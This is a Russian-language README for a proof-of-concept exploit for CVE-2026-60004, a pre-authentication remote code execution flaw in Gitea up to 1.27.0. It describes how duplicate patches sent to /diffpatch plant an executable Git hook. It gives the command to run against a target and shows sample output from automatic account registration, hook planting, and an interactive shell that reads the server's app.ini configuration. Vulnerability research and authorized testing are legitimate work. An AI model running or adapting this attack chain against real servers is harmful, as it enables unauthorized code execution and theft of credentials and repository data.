
CVE-2026-60004 — Gitea <= 1.27.0 Pre-Auth RCE
Это PoC-эксплойт для CVE-2026-60004 — критической уязвимости удалённого выполнения кода в Gitea версиях с 1.17 по 1.27.0. Скрипт автоматизирует полную цепочку эксплуатации — от регистрации пользователя до получения стабильной интерактивной оболочки на целевом сервере.
Уязвимость находится в API-эндпоинте /diffpatch. При двукратной отправке вредоносного патча коллизия add/add вызывает откат к трёхстороннему слиянию, который игнорирует флаг --cached и записывает исполняемый Git-хук непосредственно в GIT_DIR bare-репозитория. Когда Git обновляет индекс, он автоматически выполняет этот хук, что позволяет выполнять произвольные команды от учётной записи службы Gitea.
Поскольку Gitea — это скомпилированный Go-бинарник без встроенного PHP-интерпретатора, размещение традиционного веб-шелла часто не срабатывает, если рядом не настроен дополнительный веб-сервер, способный его выполнить. Чтобы решить эту проблему и сделать эксплуатацию полностью стабильной, скрипт использует подход на основе API:
post-index-change через коллизию diffpatch.cmd.sh), выполняет её от учётной записи службы и записывает результат в git-объект blob (proof).Это создаёт полнофункциональную интерактивную оболочку напрямую через Gitea API, без необходимости во внешних веб-серверах или дополнительных интерпретаторах.
python3 poc.py https://target.com

После запуска скрипт автоматически зарегистрирует учётную запись, внедрит вредоносный хук и предоставит вам интерактивную оболочку:
---------------------------------------------------
CVE-2026-60004 -- Gitea <= 1.27.0 Pre-Auth RCE
Fully Interactive API Shell
---------------------------------------------------
[*] Fetching CSRF token from signup page...
[+] CSRF token acquired.
[*] Registering user: poc5wp6tp
[+] Authenticated as poc5wp6tp
[*] Creating repository: poc-ozirkq
[+] Repository created.
[*] Fetching main branch SHA...
[*] Planting malicious hook via add/add collision...
[+] Hook planted and triggered.
[*] Verifying RCE...
[+] RCE VERIFIED! Shell is ready.
uid=1000(git) gid=1000(git) groups=1000(git)
==================================================
Gitea API-driven Interactive Shell
Type 'exit' to quit
==================================================
gitea-rce$ whoami
git
gitea-rce$ ls -la /data/gitea/repositories
...
gitea-rce$ cat /data/gitea/conf/app.ini
...
Данный инструмент предназначен исключительно для образовательных целей и авторизованного тестирования безопасности, например CTF. Убедитесь, что у вас есть явное разрешение на тестирование целевой системы. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.
Chirag Artani - https://3rag.com